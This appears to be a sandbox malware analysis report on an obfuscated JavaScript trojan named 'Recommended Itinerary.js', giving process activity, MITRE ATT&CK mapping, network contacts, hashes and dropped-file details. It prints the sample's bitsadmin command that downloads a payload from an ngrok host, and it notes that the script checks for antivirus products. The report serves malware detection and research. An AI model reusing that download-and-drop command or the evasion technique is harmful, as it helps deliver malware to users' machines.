Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Recommended Itinerary.js

Static file information: File size 10531701 > 1048576

Persistence and Installation Behavior

Tries to download files via bitsadmin

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\bitsadmin.exe "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://090125.ngrok-free.app//BITZX.pif C:\Users\user\BITZX.pif
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\bitsadmin.exe "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://090125.ngrok-free.app//BITZX.pif C:\Users\user\BITZX.pif			Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Users\user\BITDF50.tmp

Jump to dropped file

Source: C:\Windows\System32\svchost.exe

File created: C:\Users\user\BITDF50.tmp

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Windows\System32\svchost.exe

File created: C:\Users\user\BITDF50.tmp

Jump to dropped file

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Window / User API: threadDelayed 509

Jump to behavior

Source: C:\Windows\System32\svchost.exe

Dropped PE file which has not been started: C:\Users\user\BITDF50.tmp

Jump to dropped file

Source: C:\Windows\System32\svchost.exe TID: 8716

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: svchost.exe, 00000003.00000002.12234007200.00000280A9EAB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @Hyper-V RAW
Source: svchost.exe, 00000003.00000002.12228448758.00000280A822A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000002.12233767221.00000280A9E92000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\wscript.exe

Memory protected: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\System32\svchost.exe

File created: BITDF50.tmp.3.dr

Jump to dropped file

JavaScript file contains Antivirus product strings

Source: Recommended Itinerary.js

Initial file: avast, drweb, eset, avg

Source: C:\Windows\System32\wscript.exe

Process created: C:\Windows\System32\bitsadmin.exe "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://090125.ngrok-free.app//BITZX.pif C:\Users\user\BITZX.pif

Jump to behavior

Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	12 Scripting	Valid Accounts	1 Exploitation for Client Execution	1 BITS Jobs	11 Process Injection	111 Masquerading	OS Credential Dumping	111 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	12 Scripting	1 DLL Side-Loading	2 Virtualization/Sandbox Evasion	LSASS Memory	2 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	Logon Script (Windows)	1 Disable or Modify Tools	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 BITS Jobs	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	22 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Recommended Itinerary.js	2%	Virustotal		Browse
Recommended Itinerary.js	3%	ReversingLabs	Script-JS.Trojan.Sonbokli

Source	Detection	Scanner	Label
https://090125.ngrok-free.app//BITZX.pifC:	0%	Avira URL Cloud	safe
https://090125.ngrok-free.app//BITZX.pif	0%	Avira URL Cloud	safe
https://090125.ngrok-free.app:443//BITZX.pif	0%	Avira URL Cloud	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://090125.ngrok-free.app/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
090125.ngrok-free.app	3.13.191.225	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://090125.ngrok-free.app//BITZX.pif	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	qmgr.db.3.dr	false		high
http://crl.ver)	svchost.exe, 00000003.00000002.12230729358.00000280A82F2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.quovadis.bm0	svchost.exe, 00000003.00000002.12234369370.00000280A9EDD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://090125.ngrok-free.app/	svchost.exe, 00000003.00000002.12229537723.00000280A8283000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://090125.ngrok-free.app//BITZX.pifC:	bitsadmin.exe, 00000001.00000002.12226117600.000001DEFE770000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://090125.ngrok-free.app:443//BITZX.pif	svchost.exe, 00000003.00000002.12228606338.00000280A8241000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ocsp.quovadisoffshore.com0	svchost.exe, 00000003.00000002.12234369370.00000280A9EDD000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
3.13.191.225	090125.ngrok-free.app	United States		16509	AMAZON-02US	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1591878
Start date and time:	2025-01-15 15:20:27 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 14m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Recommended Itinerary.js
Detection:	MAL
Classification:	mal72.evad.winJS@5/4@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): svchost.exe
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:24:22	API Interceptor	135x Sleep call for process: bitsadmin.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3.13.191.225	EjNEMp1NTE.exe	Get hash	malicious	RedLine	Browse	54ea-20-124-134-110.ngrok.io/
	RnT6mMyI7d.exe	Get hash	malicious	Hog Grabber ItroublveBOT Stealer Xmrig	Browse	6ce0-2001-1bb0-e000-1e-00-c3c.ngrok.io/aa.exe
	eQDy6dGVwQ.exe	Get hash	malicious	Lokibot Pony	Browse	63e2e5290bcf.ngrok.io/dump.exe

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	https://ummi.asir.com.ar/	Get hash	malicious	Unknown	Browse	76.76.21.21
	https://drive.google.com/file/d/1dNrtjTqb59ZQTE3gUuVhSjEbFXuJRXW7/view?usp=sharing&ts=6786e61f	Get hash	malicious	Unknown	Browse	3.167.227.114
	alN48K3xcD.dll	Get hash	malicious	Wannacry	Browse	3.129.41.78
	NZZ71x6Cyz.dll	Get hash	malicious	Wannacry	Browse	3.102.3.252
	http://petruccilaw.com/	Get hash	malicious	Unknown	Browse	3.160.150.46
	https://eventor.orienteering.asn.au/Home/RedirectToLivelox?redirectUrl=https%3A%2F%2Farchive1.diqx8fescpsb0.amplifyapp.com%2Fm1%2Fenvelope%2Fdocument%2Fcontent%2F4086	Get hash	malicious	Unknown	Browse	13.33.187.102
	PO#_1100015533.scr	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	18.141.10.107
	9179390927_20250115_155451.html	Get hash	malicious	HTMLPhisher	Browse	13.33.187.68
	https://www.pdfforge.org/pdfcreator?srsltid=AfmBOoq1lpA5qNxfcLUyxjmEXAioeKYtqPTpBsIbZ5VOdq3uhOg1WclG	Get hash	malicious	Unknown	Browse	52.29.116.175
	https://clickme.thryv.com/ls/click?upn=u001.5dsdCa4YiGVzoib36gWoSPT0wVekqsfeOZRSaz9d28itE0eTxOetbwlGaCx05rQJywXo_UNbDpVWBvKTmUslwem1E0EC2Cp68hMzvjQfllUT9E4DZqDf2uiRmAk3QSMceJiv-2FShXGXSXiT9Fl37dFQYscKLxEMcTJj4tm5gMav6Ov9aRXzCg4yzvno75Wb80hSd5kw8Ua5r4R2pwCFTS4zDFYiEkWB-2BYk1VUWtpkJwb9IQIMAq1SSLT005wiJ2XiGw1jPEr6v61MJQRnC7AeLVtxYgqGlydBoPFbs1IP04-2BxPajuRI3fTsnzWZ9ty3RasYpwuqdrF0E8VoyYkggeeLEm9ENK69uYTCVHWHpxCPkzirQSIkvpt5FNZojg491ibS35IgO0LPU5gnpEaeaUj4-2BZoFUHIAAzMMy-2BYqsZ9F9Ldu1c-3D#X	Get hash	malicious	HTMLPhisher	Browse	18.245.60.74

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://dev.nflxdualsubtitles.com/	Get hash	malicious	Unknown	Browse	3.13.191.225
	https://hm.ru/XKEkPr	Get hash	malicious	Unknown	Browse	3.13.191.225
	https://6y.tickarmoz.ru/aY57/	Get hash	malicious	Unknown	Browse	3.13.191.225
	https://caringforyousupport.com.au/Receipt536354.php	Get hash	malicious	WinSearchAbuse	Browse	3.13.191.225
	527.zip	Get hash	malicious	Unknown	Browse	3.13.191.225
	https://forms.office.com/e/xknrfCPQkR	Get hash	malicious	HTMLPhisher	Browse	3.13.191.225
	http://ncn.acemlna.com	Get hash	malicious	Unknown	Browse	3.13.191.225
	https://www.mentimeter.com/app/presentation/alp52o7zih4ubnvbqe9pvb585a1z3bd7/edit?source=share-modal	Get hash	malicious	Unknown	Browse	3.13.191.225
	http://api.myuhchvision.com/	Get hash	malicious	Unknown	Browse	3.13.191.225
	http://cipassoitalia.it	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	3.13.191.225

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.176726474135975
Encrypted:	false
SSDEEP:	384:mJHL7HbahIfcjcidIiBysHciXBs78MmhRht43mKdyrf6YM59P61A:mJP74rzc8Myr43mNrf6YM59P61
MD5:	77603619A58E4D9C3F932C0DE06A4C07
SHA1:	D9732C59E58B6C158CCB0EF0576CEFAAB0CEB6F5
SHA-256:	A7D55F3D0E30CD4A75AFD3A6976E7A3C802F0C14F4DDEBFE864F83432BA8F03B
SHA-512:	278CC3346926CEFE8E5BADEEAF4BDFF7BD1917A0269DBE4A05C0C49163EF1CB883C6C058A0F2C4C7AA83B3E1A6AA6EBBA9A1D40AA376953E3F68EF9208D1F79E
Malicious:	false
Reputation:	low
Preview:	...........@..@.3...{g.....yo.........<.....).9...y..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................;..........v[.2}c}c.#.........`h.d...............h.<.....6.:......p..*9...y..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x660e9d9c, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.8698156716006935
Encrypted:	false
SSDEEP:	1536:rSB2qSB2gSjlK/LfDalKohVF8/bGLBSBLil2d/3Cr5DHzk/3A5v7GoCnLKxKHKrx:rapaQK0yfOD8F31Xw
MD5:	C90F6AD60AC41629F59A261B746B8AFE
SHA1:	2C79BD0D441DA3661110E7DE6FF3EDF8AA5DA2B9
SHA-256:	3530C88F7EC55FB2D7083A567480490999CAFDF5FAA581CED03C9B06FCEAD4A3
SHA-512:	35E9044F3DD5C22738FFA0596ED24467D10A2D3353CD60B7E8609293620AB690E09FAD941D7B4C979ECA9EA810673E684340E1F70713BE198014A5D0D635AF58
Malicious:	false
Reputation:	low
Preview:	f...... ................p..9...y........................0..........\|).+....}..h.2...........................).9...y..........................................................................................................bJ......n....@...................................................................................................... ........3...{g.........................................................................................................................................................................................................................................+....}.W................W\|H.+....}...........................#......h.2.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08175045953245741
Encrypted:	false
SSDEEP:	3:YkXls+rOqBj4i4uRFE5/ll/LqRYlollo0lJlbxvws:Yk1jRj3LRi5/llEtL
MD5:	417EE6971AE56098AD9997E801FD386E
SHA1:	D687134B27F9A8517EE0874FB1C8C7722865782F
SHA-256:	BF433221D31AEFE8C0E52F38856CF6B0441823A36B726CB0D77A469F0AF16850
SHA-512:	B4124DD871FB286C80F5DD1372C9F21F51B3385A82C2DB50A0394E6806ACAF7E45853CD13F8889720A9124D17CA6C2810CFF0E3E7718C4770DC5B305518D91AC
Malicious:	false
Reputation:	low
Preview:	b.......................................*9...y..+....}.......\|)..............\|)......\|)..C.t.....\|)O................W\|H.+....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\BITDF50.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	207219696
Entropy (8bit):	0.0016135031540558795
Encrypted:	false
SSDEEP:	384:3Rk1qRs7dsIsRlrEL7GUhIwwk0e/ITUvCSqYtSTFlasKdd/gWUutaHWBjfDuuuuH:yds7fRSx
MD5:	82529D7824FEF0BF8A0F48CDDB2A006D
SHA1:	311D8A8E04A167FF94A9010321F9F659E965C635
SHA-256:	28515E52C411E62F2DBA4FC5ADA510AD433A8972C6F06ADC9BD6EB8886ADF8AF
SHA-512:	515B41B8DF87EE70780485EC207DAE2CCECB47E4B94309DE5F97CBDADF434220D5C56E7B61406E9B08B4F5731D9531DACBF77016EEF27D426026D37419B1E6CD
Malicious:	true
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....k.g................................. ... ....@.. .......................`........Z...@.....................................K.... ..............H.Y......@....................................................... ............... ..H............text........ ...................... ..`.rsrc........ ......................@....reloc.......@......................@..B........................H........8...>O.....7...\w^.+\|...........................................(C...(9....0............................(C...(9..................0............................(C...(9..................0..........(C... ........8........E....=...f.......z...................88...s......... ....~6h..{.g..:....& ....8....(9... ....8....s......... ....~6h..{-h..:....& ....8u...s ........ ....8a...(;... ....8R...()... ........8;...s!........ ....~6h..{.g..:!...& ....8.......0..

Static File Info

General

File type:	ASCII text, with very long lines (65536), with no line terminators
Entropy (8bit):	5.7231628710856
TrID:
File name:	Recommended Itinerary.js
File size:	10'531'701 bytes
MD5:	2ab57baa99c326f20bd5e4c54ac06101
SHA1:	14af56dfef77feabd764d5536430c1147c41f8e7
SHA256:	6133b095486178e20e11f97ab8d3efb1b9a51be55a0128d0280951954b7c897f
SHA512:	b01463e3d4919c96bad64e4dc73930c8319a7fdb39612d77f78b9735ec6a09806e75e76572bf3c33b3cf05038c0838429124541da463aebe0b5015c347f516d7
SSDEEP:	49152:n9ByInfd8vBmB9DXgq0NCTvtM+3P7VCYmcdFykE3HyoQbqqNNSubHIysAkcWIvsE:z
TLSH:	6CB633038F6D9E6E46FC226C04BF1F4F66F98E044014A9D6E3D27C9F964EE15206B1B9
File Content Preview:	(function(_0x2c620d,_0xb86dc8){function _0x12b49a(_0x51c338,_0x2bacd8,_0x5a41f0,_0x1e0a97,_0x370b0a){return _0x3fe9(_0x51c338- -0x2fb,_0x370b0a);}function _0x597c34(_0xe9b2d3,_0x1f27d4,_0x3ec109,_0xe25bd8,_0x1c7579){return _0x3fe9(_0x1c7579-0x63,_0x3ec109

File Icon


Icon Hash:	68d69b8bb6aa9a86

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 15:22:49.191114902 CET	49757	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:49.191226006 CET	443	49757	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:49.191431046 CET	49757	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:49.192729950 CET	49757	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:49.192771912 CET	443	49757	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:49.449019909 CET	443	49757	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:49.449434042 CET	49757	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:49.453167915 CET	49757	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:49.453236103 CET	443	49757	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:49.454622984 CET	443	49757	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:49.483264923 CET	49757	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:49.526299953 CET	443	49757	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:49.803221941 CET	443	49757	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:49.803536892 CET	49757	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:49.803536892 CET	49757	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:49.803579092 CET	443	49757	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:49.803608894 CET	443	49757	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:49.843780041 CET	49758	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:49.843835115 CET	443	49758	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:49.844012022 CET	49758	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:49.844153881 CET	49758	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:49.844187021 CET	443	49758	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:50.074517965 CET	443	49758	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:50.075086117 CET	49758	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:50.075092077 CET	443	49758	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:50.075858116 CET	49758	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:50.075861931 CET	443	49758	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:50.507077932 CET	443	49758	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:50.507227898 CET	443	49758	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:50.507438898 CET	49758	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:50.509514093 CET	49758	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:50.509514093 CET	49758	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:50.509546041 CET	443	49758	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:50.509556055 CET	443	49758	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:54.636204004 CET	49759	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:54.636257887 CET	443	49759	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:54.636480093 CET	49759	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:54.636596918 CET	49759	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:54.636625051 CET	443	49759	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:54.868750095 CET	443	49759	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:54.869455099 CET	49759	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:54.869491100 CET	443	49759	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:54.869949102 CET	49759	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:54.869980097 CET	443	49759	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:55.411474943 CET	443	49759	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:55.411535025 CET	443	49759	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:55.411685944 CET	49759	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:55.412262917 CET	49759	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:55.412262917 CET	49759	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:55.412273884 CET	443	49759	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:55.412277937 CET	443	49759	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:58.746263027 CET	49760	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:58.746376991 CET	443	49760	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:58.746722937 CET	49760	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:58.746845007 CET	49760	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:58.746884108 CET	443	49760	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:58.982290983 CET	443	49760	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:58.982808113 CET	49760	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:58.982877970 CET	443	49760	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:58.983257055 CET	49760	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:58.983300924 CET	443	49760	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:59.617122889 CET	443	49760	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:59.617387056 CET	443	49760	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:59.617583990 CET	49760	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:59.617955923 CET	49760	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:59.617955923 CET	49760	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:59.618016958 CET	443	49760	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:59.618036032 CET	443	49760	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:59.760765076 CET	49761	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:59.760807991 CET	443	49761	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:59.760982037 CET	49761	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:59.761105061 CET	49761	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:59.761116982 CET	443	49761	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:59.991379976 CET	443	49761	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:59.992023945 CET	49761	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:59.992058992 CET	443	49761	3.13.191.225	192.168.11.20
Jan 15, 2025 15:22:59.992353916 CET	49761	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:22:59.992367029 CET	443	49761	3.13.191.225	192.168.11.20
Jan 15, 2025 15:23:00.635349035 CET	443	49761	3.13.191.225	192.168.11.20
Jan 15, 2025 15:23:00.635481119 CET	443	49761	3.13.191.225	192.168.11.20
Jan 15, 2025 15:23:00.635633945 CET	49761	443	192.168.11.20	3.13.191.225
